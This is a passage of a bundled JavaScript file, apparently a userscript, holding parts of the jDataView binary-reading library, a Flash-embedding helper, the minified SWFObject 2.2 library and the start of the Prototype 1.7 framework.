						b2 = this._getUint8(this._endianness(byteOffset, 2, 8, littleEndian)),
						b3 = this._getUint8(this._endianness(byteOffset, 3, 8, littleEndian)),
						b4 = this._getUint8(this._endianness(byteOffset, 4, 8, littleEndian)),
						b5 = this._getUint8(this._endianness(byteOffset, 5, 8, littleEndian)),
						b6 = this._getUint8(this._endianness(byteOffset, 6, 8, littleEndian)),
						b7 = this._getUint8(this._endianness(byteOffset, 7, 8, littleEndian)),
						sign = 1 - (2 * (b0 >> 7)),
						exponent = ((((b0 << 1) & 0xff) << 3) | (b1 >> 4)) - (Math.pow(2, 10) - 1),
						/* Binary operators such as | and << operate on 32 bit values, using + and Math.pow(2) instead */ mantissa = ((b1 & 0x0f) * Math.pow(2, 48)) + (b2 * Math.pow(2, 40)) + (b3 * Math.pow(2, 32)) + (b4 * Math.pow(2, 24)) + (b5 * Math.pow(2, 16)) + (b6 * Math.pow(2, 8)) + b7;
					if (exponent === 1024) {
						if (mantissa !== 0) {
							return NaN;
						} else {
							return sign * Infinity;
						}
					}
					if (exponent === -1023) { /* Denormalized */
						return sign * mantissa * Math.pow(2, -1022 - 52);
					}
					return sign * (1 + mantissa * Math.pow(2, -52)) * Math.pow(2, exponent);
				},
				_getFloat32: function(byteOffset, littleEndian) {
					var b0 = this._getUint8(this._endianness(byteOffset, 0, 4, littleEndian)),
						b1 = this._getUint8(this._endianness(byteOffset, 1, 4, littleEndian)),
						b2 = this._getUint8(this._endianness(byteOffset, 2, 4, littleEndian)),
						b3 = this._getUint8(this._endianness(byteOffset, 3, 4, littleEndian)),
						sign = 1 - (2 * (b0 >> 7)),
						exponent = (((b0 << 1) & 0xff) | (b1 >> 7)) - 127,
						mantissa = ((b1 & 0x7f) << 16) | (b2 << 8) | b3;
					if (exponent === 128) {
						if (mantissa !== 0) {
							return NaN;
						} else {
							return sign * Infinity;
						}
					}
					if (exponent === -127) { /* Denormalized */
						return sign * mantissa * Math.pow(2, -126 - 23);
					}
					return sign * (1 + mantissa * Math.pow(2, -23)) * Math.pow(2, exponent);
				},
				_getInt32: function(byteOffset, littleEndian) {
					var b = this._getUint32(byteOffset, littleEndian);
					return b > Math.pow(2, 31) - 1 ? b - Math.pow(2, 32) : b;
				},
				_getUint32: function(byteOffset, littleEndian) {
					var b3 = this._getUint8(this._endianness(byteOffset, 0, 4, littleEndian)),
						b2 = this._getUint8(this._endianness(byteOffset, 1, 4, littleEndian)),
						b1 = this._getUint8(this._endianness(byteOffset, 2, 4, littleEndian)),
						b0 = this._getUint8(this._endianness(byteOffset, 3, 4, littleEndian));
					return (b3 * Math.pow(2, 24)) + (b2 << 16) + (b1 << 8) + b0;
				},
				_getInt16: function(byteOffset, littleEndian) {
					var b = this._getUint16(byteOffset, littleEndian);
					return b > Math.pow(2, 15) - 1 ? b - Math.pow(2, 16) : b;
				},
				_getUint16: function(byteOffset, littleEndian) {
					var b1 = this._getUint8(this._endianness(byteOffset, 0, 2, littleEndian)),
						b0 = this._getUint8(this._endianness(byteOffset, 1, 2, littleEndian));
					return (b1 << 8) + b0;
				},
				_getInt8: function(byteOffset) {
					var b = this._getUint8(byteOffset);
					return b > Math.pow(2, 7) - 1 ? b - Math.pow(2, 8) : b;
				},
				_getUint8: function(byteOffset) {
					if (this._isArrayBuffer) {
						return new Uint8Array(this.buffer, byteOffset, 1)[0];
					} else if (this._isNodeBuffer) {
						return this.buffer[byteOffset];
					} else {
						return this.buffer.charCodeAt(byteOffset) & 0xff;
					}
				}
			}; /* Create wrappers */
			var dataTypes = {
				'Int8': 1,
				'Int16': 2,
				'Int32': 4,
				'Uint8': 1,
				'Uint16': 2,
				'Uint32': 4,
				'Float32': 4,
				'Float64': 8
			};
			var nodeNaming = {
				'Int8': 'Int8',
				'Int16': 'Int16',
				'Int32': 'Int32',
				'Uint8': 'UInt8',
				'Uint16': 'UInt16',
				'Uint32': 'UInt32',
				'Float32': 'Float',
				'Float64': 'Double'
			};
			for (var type in dataTypes) {
				if (!dataTypes.hasOwnProperty(type)) {
					continue;
				} /* Bind the variable type */ (function(type) {
					var size = dataTypes[type]; /* Create the function */
					jDataView.prototype['get' + type] = function(byteOffset, littleEndian) {
						var value; /* Handle the lack of endianness */
						if (littleEndian === undefined) {
							littleEndian = this._littleEndian;
						} /* Handle the lack of byteOffset */
						if (byteOffset === undefined) {
							byteOffset = this._offset;
						} /* Dispatch on the good method */
						if (this._isDataView) { /* DataView: we use the direct method */
							value = this._view['get' + type](byteOffset, littleEndian);
						} /* ArrayBuffer: we use a typed array of size 1 if the alignment is good */ /* ArrayBuffer does not support endianess flag (for size > 1) */
						else if (this._isArrayBuffer && (this._start + byteOffset) % size === 0 && (size === 1 || littleEndian)) {
							value = new all[type + 'Array'](this.buffer, this._start + byteOffset, 1)[0];
						} /* NodeJS Buffer */
						else if (this._isNodeBuffer && compatibility.NodeBufferFull) {
							if (littleEndian) {
								value = this.buffer['read' + nodeNaming[type] + 'LE'](this._start + byteOffset);
							} else {
								value = this.buffer['read' + nodeNaming[type] + 'BE'](this._start + byteOffset);
							}
						} else if (this._isNodeBuffer && compatibility.NodeBufferEndian) {
							value = this.buffer['read' + nodeNaming[type]](this._start + byteOffset, littleEndian);
						} else { /* Error Checking */
							if (typeof byteOffset !== 'number') {
								throw new TypeError('Type error');
							}
							if (byteOffset + size > this.byteLength) {
								throw new Error('INDEX_SIZE_ERR: DOM Exception 1');
							}
							value = this['_get' + type](this._start + byteOffset, littleEndian);
						} /* Move the internal offset forward */
						this._offset = byteOffset + size;
						return value;
					};
				})(type);
			}
		})();
		/********************************** END jDataView *************************************/
		
		/********************************** SWFObject *****************************************/
		/*require tampermonkey*/
		function easyswf (confObj) {
	
				// DEFAULT VERSION
				var swfVersionStr = "9.0.0";
				if(confObj.swfversion){
					swfVersionStr = confObj.swfversion;
				}
				// Convert comma,version,notation to dot.version.notation
				swfVersionStr = swfVersionStr.split(",").join(".");
				
				
				var mynewline = "\n";
				
				var noFlashTextFont 	= confObj.noFlashFont 		|| "Verdana, Geneva, sans-serif";
				var noFlashTextSize 	= confObj.noFlashFontSize 	|| "10";
				var noFlashTextWieght 	= confObj.noFlashFontWeight || "normal";
				var noFlashTextColor 	= confObj.noFlashFontColor 	|| "#000000";
				var noFlashImage 		= confObj.noFlashImage 		|| "http://www.adobe.com/images/shared/download_buttons/get_adobe_flash_player.png";
				
				var noFlashTableBkgdColor = confObj.bgcolor || "#000000";
				
				
				var noFlashHTML = '<table width="' + confObj.width + '" height="' + confObj.height + '" border="0" cellpadding="0" cellspacing="0" style="background-color:' + noFlashTableBkgdColor + ';">' + mynewline;
				noFlashHTML += '		<tr>' + mynewline;
				noFlashHTML += '			<td align="center" valign="middle">' + mynewline;
				noFlashHTML += '				<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">' + mynewline;
				noFlashHTML += '					<tr>' + mynewline;
				noFlashHTML += '						<td align="center" valign="middle">' + mynewline;
				noFlashHTML += '							<a href="http://get.adobe.com/flashplayer/"><img src="' + noFlashImage + '" border="0" /></a>' + mynewline;
				noFlashHTML += '							<span style="font-family:' + noFlashTextFont + ';font-size:' + noFlashTextSize + 'px;font-weight:' + noFlashTextWieght + ';color:' + noFlashTextColor + ';">' + mynewline;
				noFlashHTML += '							<br/>Required Version ' + swfVersionStr + mynewline;
				noFlashHTML += '							<br/>Installed Version: __USERVERSION__' + mynewline;
				noFlashHTML += '							<br/>' + mynewline;
				noFlashHTML += '							</span>' + mynewline;
				noFlashHTML += '							</td>' + mynewline;
				noFlashHTML += '					</tr>' + mynewline;
				noFlashHTML += '				</table>' + mynewline;
				noFlashHTML += '				<p>&nbsp;</p>' + mynewline;
				noFlashHTML += '				<p>&nbsp;</p>' + mynewline;
				noFlashHTML += '			</td>' + mynewline;
				noFlashHTML += '		</tr>' + mynewline;
				noFlashHTML += '	</table>' + mynewline;
				
				
				var usingTempTargetDiv = false;
				if(!confObj.targetDiv){
					
					var uniqueID_div = confObj.swfid || "flashTempDIV" + (new Date().getTime()).toString();
					
					// Create a temporary DIV.
					var tempDIV = document.createElement("DIV");
					tempDIV.id = uniqueID_div;
					
					tempDIV.innerHTML = ' ';
					document.body.appendChild(tempDIV);

					var theHTML = tempDIV.outerHTML;
					document.body.removeChild(tempDIV);
					document.write(theHTML);
					
					confObj.targetDiv = uniqueID_div;
					
					usingTempTargetDiv = true;
					
				}
				

				// Prepare a unique ID for the SWF object 
				// (NOTE: May or may not be used based on the how 
				// the programmer configured the "configuration object").
				var uniqueID = "flashObject" + ( new Date().getTime()).toString();

				// ATTRIBUTES

				var att = new Object();
				att.data 	= confObj.swf;
				att.width 	= confObj.width;
				att.height 	= confObj.height;
				att.id 		= confObj.swfid || uniqueID;
				att.name 	= confObj.swfid || uniqueID;

				

				// PARAMS

				var par = new Object();
				par.bgcolor	= confObj.bgcolor || "#000000";

				if(confObj.scale){
					par.scale = confObj.scale;
				}

				if(confObj.salign){
					par.salign = confObj.salign;
				}

				if(confObj.allowScriptAccess){
					if(confObj.allowScriptAccess == "always" || confObj.allowScriptAccess == "true" || confObj.allowScriptAccess === true){
						par.allowScriptAccess = "always";
					} else {
						par.allowScriptAccess = confObj.allowScriptAccess;
					}
				}

				if(confObj.allowFullScreen){
					if(confObj.allowFullScreen == "true" || confObj.allowFullScreen === true){
						par.allowFullScreen = "true";
					}
				}

				if(confObj.menu){
					if(confObj.menu == "true" || confObj.menu === true){
						par.menu = "true";
					}
				}

				if(confObj.wmode){
					par.wmode = confObj.wmode;
				}

				// FLASH VARS
				/*
				if(confObj.flashvars){
					var Afv = new Array();
					for(var prop in confObj.flashvars){
						Afv.push(prop + "=" + confObj.flashvars[prop]);
					}
					par.flashvars = Afv.join("&");
				}
				*/
				
				var checkSuccess = function(theObj) {
					
					if(theObj.success == false){
						var OuserVersion = swfobject.getFlashPlayerVersion();
						var userVersion = OuserVersion.major + "." + OuserVersion.minor + "." + OuserVersion.release;
						if(OuserVersion.major < 4){
							userVersion = "NONE";
						}
						var targ = document.getElementById(confObj.targetDiv);
						console.log(targ);
						targ.innerHTML = noFlashHTML.split("__USERVERSION__").join(userVersion);
					}
				}

				var fn = function() {
					// Generate the configurations needed.
					//var conf = getConf(confObj);
					// Use swfobject to create the HTML for the browser.
					//swfobject.createSWF(att, par, confObj.targetDiv);
					swfobject.embedSWF(confObj.swf, confObj.targetDiv, att.width, att.height, swfVersionStr, null, confObj.flashvars, par, att, checkSuccess);
			};

			// Use swfobject to creatd HTML code once the page is ready.
			swfobject.addDomLoadEvent(fn);
			
		}
		
		/*	SWFObject v2.2 <http://code.google.com/p/swfobject/> 
			is released under the MIT License <http://www.opensource.org/licenses/mit-license.php> 
		*/
		var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=parseInt(ab.replace(/^(.*)\..*$/,"$1"),10);ag[1]=parseInt(ab.replace(/^.*\.(.*)\s.*$/,"$1"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0}}else{if(typeof O.ActiveXObject!=D){try{var ad=new ActiveXObject(W);if(ad){ab=ad.GetVariable("$version");if(ab){X=true;ab=ab.split(" ")[1].split(",");ag=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}}catch(Z){}}}return{w3:aa,pv:ag,wk:af,ie:X,win:ae,mac:ac}}(),k=function(){if(!M.w3){return}if((typeof j.readyState!=D&&j.readyState=="complete")||(typeof j.readyState==D&&(j.getElementsByTagName("body")[0]||j.body))){f()}if(!J){if(typeof j.addEventListener!=D){j.addEventListener("DOMContentLoaded",f,false)}if(M.ie&&M.win){j.attachEvent(x,function(){if(j.readyState=="complete"){j.detachEvent(x,arguments.callee);f()}});if(O==top){(function(){if(J){return}try{j.documentElement.doScroll("left")}catch(X){setTimeout(arguments.callee,0);return}f()})()}}if(M.wk){(function(){if(J){return}if(!/loaded|complete/.test(j.readyState)){setTimeout(arguments.callee,0);return}f()})()}s(f)}}();function f(){if(J){return}try{var Z=j.getElementsByTagName("body")[0].appendChild(C("span"));Z.parentNode.removeChild(Z)}catch(aa){return}J=true;var X=U.length;for(var Y=0;Y<X;Y++){U[Y]()}}function K(X){if(J){X()}else{U[U.length]=X}}function s(Y){if(typeof O.addEventListener!=D){O.addEventListener("load",Y,false)}else{if(typeof j.addEventListener!=D){j.addEventListener("load",Y,false)}else{if(typeof O.attachEvent!=D){i(O,"onload",Y)}else{if(typeof O.onload=="function"){var X=O.onload;O.onload=function(){X();Y()}}else{O.onload=Y}}}}}function h(){if(T){V()}else{H()}}function V(){var X=j.getElementsByTagName("body")[0];var aa=C(r);aa.setAttribute("type",q);var Z=X.appendChild(aa);if(Z){var Y=0;(function(){if(typeof Z.GetVariable!=D){var ab=Z.GetVariable("$version");if(ab){ab=ab.split(" ")[1].split(",");M.pv=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}else{if(Y<10){Y++;setTimeout(arguments.callee,10);return}}X.removeChild(aa);Z=null;H()})()}else{H()}}function H(){var ag=o.length;if(ag>0){for(var af=0;af<ag;af++){var Y=o[af].id;var ab=o[af].callbackFn;var aa={success:false,id:Y};if(M.pv[0]>0){var ae=c(Y);if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa)}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;ai.width=ae.getAttribute("width")||"0";ai.height=ae.getAttribute("height")||"0";if(ae.getAttribute("class")){ai.styleclass=ae.getAttribute("class")}if(ae.getAttribute("align")){ai.align=ae.getAttribute("align")}var ah={};var X=ae.getElementsByTagName("param");var ac=X.length;for(var ad=0;ad<ac;ad++){if(X[ad].getAttribute("name").toLowerCase()!="movie"){ah[X[ad].getAttribute("name")]=X[ad].getAttribute("value")}}P(ai,ah,Y,ab)}else{p(ae);if(ab){ab(aa)}}}}}else{w(Y,true);if(ab){var Z=z(Y);if(Z&&typeof Z.SetVariable!=D){aa.success=true;aa.ref=Z}ab(aa)}}}}}function z(aa){var X=null;var Y=c(aa);if(Y&&Y.nodeName=="OBJECT"){if(typeof Y.SetVariable!=D){X=Y}else{var Z=Y.getElementsByTagName(r)[0];if(Z){X=Z}}}return X}function A(){return !a&&F("6.0.65")&&(M.win||M.mac)&&!(M.wk&&M.wk<312)}function P(aa,ab,X,Z){a=true;E=Z||null;B={success:false,id:X};var ae=c(X);if(ae){if(ae.nodeName=="OBJECT"){l=g(ae);Q=null}else{l=ae;Q=X}aa.id=R;if(typeof aa.width==D||(!/%$/.test(aa.width)&&parseInt(aa.width,10)<310)){aa.width="310"}if(typeof aa.height==D||(!/%$/.test(aa.height)&&parseInt(aa.height,10)<137)){aa.height="137"}j.title=j.title.slice(0,47)+" - Flash Player Installation";var ad=M.ie&&M.win?"ActiveX":"PlugIn",ac="MMredirectURL="+O.location.toString().replace(/&/g,"%26")+"&MMplayerType="+ad+"&MMdoctitle="+j.title;if(typeof ab.flashvars!=D){ab.flashvars+="&"+ac}else{ab.flashvars=ac}if(M.ie&&M.win&&ae.readyState!=4){var Y=C("div");X+="SWFObjectNew";Y.setAttribute("id",X);ae.parentNode.insertBefore(Y,ae);ae.style.display="none";(function(){if(ae.readyState==4){ae.parentNode.removeChild(ae)}else{setTimeout(arguments.callee,10)}})()}u(aa,ab,X)}}function p(Y){if(M.ie&&M.win&&Y.readyState!=4){var X=C("div");Y.parentNode.insertBefore(X,Y);X.parentNode.replaceChild(g(Y),X);Y.style.display="none";(function(){if(Y.readyState==4){Y.parentNode.removeChild(Y)}else{setTimeout(arguments.callee,10)}})()}else{Y.parentNode.replaceChild(g(Y),Y)}}function g(ab){var aa=C("div");if(M.win&&M.ie){aa.innerHTML=ab.innerHTML}else{var Y=ab.getElementsByTagName(r)[0];if(Y){var ad=Y.childNodes;if(ad){var X=ad.length;for(var Z=0;Z<X;Z++){if(!(ad[Z].nodeType==1&&ad[Z].nodeName=="PARAM")&&!(ad[Z].nodeType==8)){aa.appendChild(ad[Z].cloneNode(true))}}}}}return aa}function u(ai,ag,Y){var X,aa=c(Y);if(M.wk&&M.wk<312){return X}if(aa){if(typeof ai.id==D){ai.id=Y}if(M.ie&&M.win){var ah="";for(var ae in ai){if(ai[ae]!=Object.prototype[ae]){if(ae.toLowerCase()=="data"){ag.movie=ai[ae]}else{if(ae.toLowerCase()=="styleclass"){ah+=' class="'+ai[ae]+'"'}else{if(ae.toLowerCase()!="classid"){ah+=" "+ae+'="'+ai[ae]+'"'}}}}}var af="";for(var ad in ag){if(ag[ad]!=Object.prototype[ad]){af+='<param name="'+ad+'" value="'+ag[ad]+'" />'}}aa.outerHTML='<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"'+ah+">"+af+"</object>";N[N.length]=ai.id;X=c(ai.id)}else{var Z=C(r);Z.setAttribute("type",q);for(var ac in ai){if(ai[ac]!=Object.prototype[ac]){if(ac.toLowerCase()=="styleclass"){Z.setAttribute("class",ai[ac])}else{if(ac.toLowerCase()!="classid"){Z.setAttribute(ac,ai[ac])}}}}for(var ab in ag){if(ag[ab]!=Object.prototype[ab]&&ab.toLowerCase()!="movie"){e(Z,ab,ag[ab])}}aa.parentNode.replaceChild(Z,aa);X=Z}}return X}function e(Z,X,Y){var aa=C("param");aa.setAttribute("name",X);aa.setAttribute("value",Y);Z.appendChild(aa)}function y(Y){var X=c(Y);if(X&&X.nodeName=="OBJECT"){if(M.ie&&M.win){X.style.display="none";(function(){if(X.readyState==4){b(Y)}else{setTimeout(arguments.callee,10)}})()}else{X.parentNode.removeChild(X)}}}function b(Z){var Y=c(Z);if(Y){for(var X in Y){if(typeof Y[X]=="function"){Y[X]=null}}Y.parentNode.removeChild(Y)}}function c(Z){var X=null;try{X=j.getElementById(Z)}catch(Y){}return X}function C(X){return j.createElement(X)}function i(Z,X,Y){Z.attachEvent(X,Y);I[I.length]=[Z,X,Y]}function F(Z){var Y=M.pv,X=Z.split(".");X[0]=parseInt(X[0],10);X[1]=parseInt(X[1],10)||0;X[2]=parseInt(X[2],10)||0;return(Y[0]>X[0]||(Y[0]==X[0]&&Y[1]>X[1])||(Y[0]==X[0]&&Y[1]==X[1]&&Y[2]>=X[2]))?true:false}function v(ac,Y,ad,ab){if(M.ie&&M.mac){return}var aa=j.getElementsByTagName("head")[0];if(!aa){return}var X=(ad&&typeof ad=="string")?ad:"screen";if(ab){n=null;G=null}if(!n||G!=X){var Z=C("style");Z.setAttribute("type","text/css");Z.setAttribute("media",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1]}G=X}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y)}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+" {"+Y+"}"))}}}function w(Z,X){if(!m){return}var Y=X?"visible":"hidden";if(J&&c(Z)){c(Z).style.visibility=Y}else{v("#"+Z,"visibility:"+Y)}}function L(Y){var Z=/[\\\"<>\.;]/;var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y}var d=function(){if(M.ie&&M.win){window.attachEvent("onunload",function(){var ac=I.length;for(var ab=0;ab<ac;ab++){I[ab][0].detachEvent(I[ab][1],I[ab][2])}var Z=N.length;for(var aa=0;aa<Z;aa++){y(N[aa])}for(var Y in M){M[Y]=null}M=null;for(var X in swfobject){swfobject[X]=null}swfobject=null})}}();return{registerObject:function(ab,X,aa,Z){if(M.w3&&ab&&X){var Y={};Y.id=ab;Y.swfVersion=X;Y.expressInstall=aa;Y.callbackFn=Z;o[o.length]=Y;w(ab,false)}else{if(Z){Z({success:false,id:ab})}}},getObjectById:function(X){if(M.w3){return z(X)}},embedSWF:function(ab,ah,ae,ag,Y,aa,Z,ad,af,ac){var X={success:false,id:ah};if(M.w3&&!(M.wk&&M.wk<312)&&ab&&ah&&ae&&ag&&Y){w(ah,false);K(function(){ae+="";ag+="";var aj={};if(af&&typeof af===r){for(var al in af){aj[al]=af[al]}}aj.data=ab;aj.width=ae;aj.height=ag;var am={};if(ad&&typeof ad===r){for(var ak in ad){am[ak]=ad[ak]}}if(Z&&typeof Z===r){for(var ai in Z){if(typeof am.flashvars!=D){am.flashvars+="&"+ai+"="+Z[ai]}else{am.flashvars=ai+"="+Z[ai]}}}if(F(Y)){var an=u(aj,am,ah);if(aj.id==ah){w(ah,true)}X.success=true;X.ref=an}else{if(aa&&A()){aj.data=aa;P(aj,am,ah,ac);return}else{w(ah,true)}}if(ac){ac(X)}})}else{if(ac){ac(X)}}},switchOffAutoHideShow:function(){m=false},ua:M,getFlashPlayerVersion:function(){return{major:M.pv[0],minor:M.pv[1],release:M.pv[2]}},hasFlashPlayerVersion:F,createSWF:function(Z,Y,X){if(M.w3){return u(Z,Y,X)}else{return undefined}},showExpressInstall:function(Z,aa,X,Y){if(M.w3&&A()){P(Z,aa,X,Y)}},removeSWF:function(X){if(M.w3){y(X)}},createCSS:function(aa,Z,Y,X){if(M.w3){v(aa,Z,Y,X)}},addDomLoadEvent:K,addLoadEvent:s,getQueryParamValue:function(aa){var Z=j.location.search||j.location.hash;if(Z){if(/\?/.test(Z)){Z=Z.split("?")[1]}if(aa==null){return L(Z)}var Y=Z.split("&");for(var X=0;X<Y.length;X++){if(Y[X].substring(0,Y[X].indexOf("="))==aa){return L(Y[X].substring((Y[X].indexOf("=")+1)))}}}return""},expressInstallCallback:function(){if(a){var X=c(R);if(X&&l){X.parentNode.replaceChild(l,X);if(Q){w(Q,true);if(M.ie&&M.win){l.style.display="block";}}if(E){E(B);}}a=false;;}}}}();
		/********************************** END SWFObject *************************************/

		/********************************** Prototype JavaScript framework ********************/
		/* Prototype JavaScript framework, version 1.7, (c) 2005-2010 Sam Stephenson - For details, see the Prototype web site: http://www.prototypejs.org/ - Form.Methods & Ajax Class NOT INCLUDED */
		var Sizzle, sortOrder, Event, Prototype = {
				Version: "1.7.0",
				Browser: (function() {
					var ua = navigator.userAgent;
					var isOpera = Object.prototype.toString.call(window.opera) == "[object Opera]";
					return {
						Opera: isOpera,
						WebKit: ua.indexOf("AppleWebKit/") > -1,
						Gecko: ua.indexOf("Gecko") > -1 && ua.indexOf("KHTML") === -1,
						MobileSafari: /Apple.*Mobile/.test(ua)
					};
				})(),
				BrowserFeatures: {
					XPath: !! document.evaluate,
					SelectorsAPI: !! document.querySelector,
					ElementExtensions: (function() {
						var constructor = window.Element || window.HTMLElement;
						return !!(constructor && constructor.prototype);
					})(),
					SpecificElementExtensions: (function() {
						if (typeof window.HTMLDivElement !== "undefined") {
							return true;
						}
						var div = document.createElement("div"),
							form = document.createElement("form"),
							isSupported = false;
						if (div.__proto__ && (div.__proto__ !== form.__proto__)) {
							isSupported = true;
						}
						div = form = null;
						return isSupported;
					})()
				},
				ScriptFragment: "<script[^>]*>([\\S\\s]*?)<\/script>",
				JSONFilter: /^\/\*-secure-([\s\S]*)\*\/\s*$/,
				emptyFunction: function() {},
				K: function(x) {
					return x;
				}
			};
		if (Prototype.Browser.MobileSafari) {
			Prototype.BrowserFeatures.SpecificElementExtensions = false;
		}
		var Abstract = {};
		var Try = {
			these: function() {
				var returnValue;
				for (var i = 0, length = arguments.length; i < length; i++) {
					var lambda = arguments[i];
					try {
						returnValue = lambda();
						break;
					} catch (e) {}
				}
				return returnValue;
			}
		};
		var Class = (function() {
			var IS_DONTENUM_BUGGY = (function() {
				for (var p in {
					toString: 1
				}) {
					if (p === "toString") {
						return false;
					}
				}
				return true;
			})();

			function subclass() {}

			function create() {
				var parent = null,
					properties = $A(arguments);
				if (Object.isFunction(properties[0])) {
					parent = properties.shift();
				}

				function klass() {
					this.initialize.apply(this, arguments);
				}
				Object.extend(klass, Class.Methods);
				klass.superclass = parent;
				klass.subclasses = [];
				if (parent) {
					subclass.prototype = parent.prototype;
					klass.prototype = new subclass;
					parent.subclasses.push(klass);
				}
				for (var i = 0, length = properties.length; i < length; i++) {
					klass.addMethods(properties[i]);
				}
				if (!klass.prototype.initialize) {
					klass.prototype.initialize = Prototype.emptyFunction;
				}
				klass.prototype.constructor = klass;
				return klass;
			}

			function addMethods(source) {
				var ancestor = this.superclass && this.superclass.prototype,
					properties = Object.keys(source);
				if (IS_DONTENUM_BUGGY) {
					if (source.toString != Object.prototype.toString) {
						properties.push("toString");
					}
					if (source.valueOf != Object.prototype.valueOf) {
						properties.push("valueOf");
					}
				}
				for (var i = 0, length = properties.length; i < length; i++) {
					var property = properties[i],
						value = source[property];
					if (ancestor && Object.isFunction(value) && value.argumentNames()[0] == "$super") {
						var method = value;
						value = (function(m) {
							return function() {
								return ancestor[m].apply(this, arguments);
							};
						})(property).wrap(method);
						value.valueOf = method.valueOf.bind(method);
						value.toString = method.toString.bind(method);
					}
					this.prototype[property] = value;
				}
				return this;
			}
			return {
				create: create,
				Methods: {
					addMethods: addMethods
				}
			};
		})();
		(function() {
			var _toString = Object.prototype.toString,
				NULL_TYPE = "Null",
				UNDEFINED_TYPE = "Undefined",
				BOOLEAN_TYPE = "Boolean",
				NUMBER_TYPE = "Number",
				STRING_TYPE = "String",
				OBJECT_TYPE = "Object",
				FUNCTION_CLASS = "[object Function]",
				BOOLEAN_CLASS = "[object Boolean]",
				NUMBER_CLASS = "[object Number]",
				STRING_CLASS = "[object String]",
				ARRAY_CLASS = "[object Array]",
				DATE_CLASS = "[object Date]",
				NATIVE_JSON_STRINGIFY_SUPPORT = window.JSON && typeof JSON.stringify === "function" && JSON.stringify(0) === "0" && typeof JSON.stringify(Prototype.K) === "undefined";

			function Type(o) {
				switch (o) {
					case null:
						return NULL_TYPE;
					case (void 0):
						return UNDEFINED_TYPE;
				}
				var type = typeof o;
				switch (type) {
					case "boolean":
						return BOOLEAN_TYPE;
					case "number":
						return NUMBER_TYPE;
					case "string":
						return STRING_TYPE;
				}
				return OBJECT_TYPE;
			}

			function extend(destination, source) {
				for (var property in source) {
					destination[property] = source[property];
				}
				return destination;
			}

			function inspect(object) {
				try {
					if (isUndefined(object)) {
						return "undefined";
					}
					if (object === null) {
						return "null";
					}
					return object.inspect ? object.inspect() : String(object);
				} catch (e) {
					if (e instanceof RangeError) {
						return "...";
					}
					throw e;
				}
			}

			function toJSON(value) {
				return Str("", {
					"": value
				}, []);
			}

			function Str(key, holder, stack) {
				var value = holder[key],
					type = typeof value;
				if (Type(value) === OBJECT_TYPE && typeof value.toJSON === "function") {
					value = value.toJSON(key);
				}
				var _class = _toString.call(value);
				switch (_class) {
					case NUMBER_CLASS:
					case BOOLEAN_CLASS:
					case STRING_CLASS:
						value = value.valueOf();
				}
				switch (value) {
					case null:
						return "null";
					case true:
						return "true";
					case false:
						return "false";
				}
				type = typeof value;
				switch (type) {
					case "string":
						return value.inspect(true);
					case "number":
						return isFinite(value) ? String(value) : "null";
					case "object":
						for (var i = 0, length = stack.length; i < length; i++) {
							if (stack[i] === value) {
								throw new TypeError();
							}
						}
						stack.push(value);
						var partial = [];
						if (_class === ARRAY_CLASS) {
							for (var i = 0, length = value.length; i < length; i++) {
								var str = Str(i, value, stack);
								partial.push(typeof str === "undefined" ? "null" : str);
							}
							partial = "[" + partial.join(",") + "]";
						} else {
							var keys = Object.keys(value);
							for (var i = 0, length = keys.length; i < length; i++) {
								var key = keys[i],
									str = Str(key, value, stack);
								if (typeof str !== "undefined") {
									partial.push(key.inspect(true) + ":" + str);
								}
							}
							partial = "{" + partial.join(",") + "}";
						}
						stack.pop();
						return partial;
				}
			}

			function stringify(object) {
				return JSON.stringify(object);
			}

			function toQueryString(object) {
				return $H(object).toQueryString();
			}

			function toHTML(object) {
				return object && object.toHTML ? object.toHTML() : String.interpret(object);
			}

			function keys(object) {
				if (Type(object) !== OBJECT_TYPE) {
					throw new TypeError();
				}
				var results = [];
				for (var property in object) {
					if (object.hasOwnProperty(property)) {
						results.push(property);
					}
				}
				return results;
			}

			function values(object) {
				var results = [];
				for (var property in object) {
					results.push(object[property]);
				}
				return results;
			}

			function clone(object) {
				return extend({}, object);
			}

			function isElement(object) {
				return !!(object && object.nodeType == 1);
			}

			function isArray(object) {
				return _toString.call(object) === ARRAY_CLASS;
			}
			var hasNativeIsArray = (typeof Array.isArray == "function") && Array.isArray([]) && !Array.isArray({});
			if (hasNativeIsArray) {
				isArray = Array.isArray;
			}

			function isHash(object) {
				return object instanceof Hash;
			}

			function isFunction(object) {
				return _toString.call(object) === FUNCTION_CLASS;
			}

			function isString(object) {
				return _toString.call(object) === STRING_CLASS;
			}

			function isNumber(object) {
				return _toString.call(object) === NUMBER_CLASS;
			}

			function isDate(object) {
				return _toString.call(object) === DATE_CLASS;
			}

